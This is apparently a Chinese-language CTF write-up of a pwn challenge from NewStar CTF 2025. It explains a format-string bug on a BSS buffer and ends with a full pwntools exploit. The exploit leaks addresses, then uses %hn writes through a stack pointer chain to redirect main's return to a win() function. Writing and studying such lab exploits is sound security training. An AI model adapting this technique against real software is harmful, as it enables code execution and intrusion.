NewStar CTF 2025 week5 复读机堂堂归来!复读机堂堂归来!
bbs_fmt
(my_venv) ➜ fuduji checksec bss_fmt
[*] '/home/yb/tmp/xctf/fuduji/bss_fmt'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No保留了符号表,这题就比较好看了。
ida 看一下有一个 win 函数。
unsigned __int64 win()
{
FILE *stream; // [rsp+8h] [rbp-58h]
char s[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
stream = fopen("/flag", "r");
if ( !stream )
exit(1);
fgets(s, 64, stream);
printf(&format, s);
fclose(stream);
return v3 - __readfsqword(0x28u);}
只要能进入 win() 函数即可泄露 flag。
do
{
memset(global_buffer, 0, sizeof(global_buffer));
puts(&saysth);
read(0, global_buffer, 0xFFuLL);
printf(global_buffer);
}存在格式化字符串漏洞。
第一次写就是非栈上字符串吗 有点意思
格式化字符串漏洞
c 的 printf 使用 % 对字符串进行格式化后输出,一些常利用的格式字符串:
| 格式字符串 | 效果 |
|---|---|
| %x | 输出十六进制整数 |
| %p | 输出指针变量的值 |
| %n | 将已输入字符数存入给定指针参数的所指 |
| %hn | 只修改最后两字节 |
| %hhn | 只修改最后一字节 |
| %n$x | 对第 n 个参数进行相印操作,x 可以是任意占位符 |
| %s | 以字符串形式输出内存,直到遇到 \x00 |
| %nc | 输出 n 个对应参数字符 |
格式化字符串还利用了以下特性:printf 会从栈上依次往下寻找参数,即使没有传入足够的参数。
如果格式化字符串在栈上,直接在字符串里写入的地址就会存在在栈上,利用起来就很方便。
但是这里字符串在 BSS 段,这时候就只能利用栈上现成的地址了。
pwndbg> stack 40
00:0000│ rsp 0x7fffffffdda8 —▸ 0x55555555540f (main+133) ◂— lea rax, [rip + 0xcff]
01:0008│ rbp 0x7fffffffddb0 —▸ 0x7fffffffde50 —▸ 0x7fffffffdeb0 ◂— 0
02:0010│+008 0x7fffffffddb8 —▸ 0x7ffff7c2a1ca ◂— mov edi, eax
03:0018│+010 0x7fffffffddc0 —▸ 0x7fffffffde00 —▸ 0x555555557d70 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555240 (__do_global_dtors_aux) ◂— endbr64
04:0020│+018 0x7fffffffddc8 —▸ 0x7fffffffded8 —▸ 0x7fffffffe1dc ◂— '/home/yb/tmp/xctf/fuduji/bss_fmt'
05:0028│+020 0x7fffffffddd0 ◂— 0x155554040
06:0030│+028 0x7fffffffddd8 —▸ 0x55555555538a (main) ◂— endbr64
07:0038│+030 0x7fffffffdde0 —▸ 0x7fffffffded8 —▸ 0x7fffffffe1dc ◂— '/home/yb/tmp/xctf/fuduji/bss_fmt'
08:0040│+038 0x7fffffffdde8 ◂— 0x11dea3844b090683
09:0048│+040 0x7fffffffddf0 ◂— 1
0a:0050│+048 0x7fffffffddf8 ◂— 0
0b:0058│+050 0x7fffffffde00 —▸ 0x555555557d70 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555240 (__do_global_dtors_aux) ◂— endbr64
0c:0060│+058 0x7fffffffde08 —▸ 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
0d:0068│+060 0x7fffffffde10 ◂— 0x11dea3844c290683
0e:0070│+068 0x7fffffffde18 ◂— 0x11deb3feb4ab0683
0f:0078│+070 0x7fffffffde20 ◂— 0x7fff00000000
10:0080│+078 0x7fffffffde28 ◂— 0
11:0088│+080 0x7fffffffde30 ◂— 0
12:0090│+088 0x7fffffffde38 ◂— 1
13:0098│+090 0x7fffffffde40 —▸ 0x7fffffffded0 ◂— 1
14:00a0│+098 0x7fffffffde48 ◂— 0x1cd64a7f15609f00
15:00a8│+0a0 0x7fffffffde50 —▸ 0x7fffffffdeb0 ◂— 0
16:00b0│+0a8 0x7fffffffde58 —▸ 0x7ffff7c2a28b (__libc_start_main+139) ◂— mov r15, qword ptr [rip + 0x1d8cf6]
17:00b8│+0b0 0x7fffffffde60 —▸ 0x7fffffffdee8 —▸ 0x7fffffffe1fd ◂— 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus'
18:00c0│+0b8 0x7fffffffde68 —▸ 0x555555557d70 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555240 (__do_global_dtors_aux) ◂— endbr64
pwndbg> retaddr
0x7fffffffdda8 —▸ 0x55555555540f (main+133) ◂— lea rax, [rip + 0xcff]
0x7fffffffddb8 —▸ 0x7ffff7c2a1ca ◂— mov edi, eax
0x7fffffffde58 —▸ 0x7ffff7c2a28b (__libc_start_main+139) ◂— mov r15, qword ptr [rip + 0x1d8cf6]
0x7fffffffdeb8 —▸ 0x5555555551c5 (_start+37) ◂— hlt这里的 02 就是 main 的返回地址,上面的 01 就有一组非常方便利用的三级指针。
因为不能一次输出太多字符,一般使用 %hn 修改。
而通过修改末位就可以使得 01 最后的地址指向返回地址的栈位置。
这时候我们就能修改 main 的返回地址了。
那高位地址怎么办?
我们将 01 那一串最后的地址加上 2,此时再修改就高了两字节。
只需要三次就可以修改完整的 win 地址了。
因为远程时输出处理出现了神秘问题 导致 exp 有点丑(x
from pwn import *
from colorama import Fore, Back, Style, init
init(autoreset=True);
#p = process("./bss_fmt");
p = remote("127.0.0.1", 12345)
context.terminal = ['tmux', 'splitw', '-h', '-l', '125']
#gdb.attach(p, gdbscript="b *printf\nc")
p.sendlineafter("说话!", "%11$p".encode());
p.recvuntil("0x");
main_addr = int(p.recvline(drop=True).split()[0].decode(), 16);
win_addr = main_addr - 0x101;
print(Fore.GREEN + f"main_addr: {hex(main_addr)}\nwin_addr: {hex(win_addr)}");
#p.sendlineafter("说话!", "%6$p".encode());
p.sendline("%6$p".encode());
p.recvuntil("0x");
add1 = int(p.recvline(drop=True).split()[0].decode(), 16) - 0xa0 + 8;
print(Fore.GREEN + f"addr1: {hex(add1)}");
def chg(pos, value):
#p.sendlineafter("说话!", f"%{value}c%{pos}$hn".encode())
p.sendline(f"%{value}c%{pos}$hn".encode())
print(Back.GREEN + f"AT {hex(pos)} TO {hex(value)} finished");
p.recvuntil("说话!", timeout = 3);
add1_end = add1 & 0xffff;
chg(6, add1_end);
chg(0x1a, win_addr & 0xffff);
chg(6, add1_end + 0x2);
chg(0x1a, win_addr >> 16 & 0xffff);
chg(6, add1_end + 0x4);
chg(0x1a, win_addr >> 32 & 0xffff);
p.sendlineafter("说话!", "end".encode());
p.interactive();NewStar CTF 2025 week5 复读机堂堂归来!复读机堂堂归来!
https://ybwa.github.io/p/7fbeb27/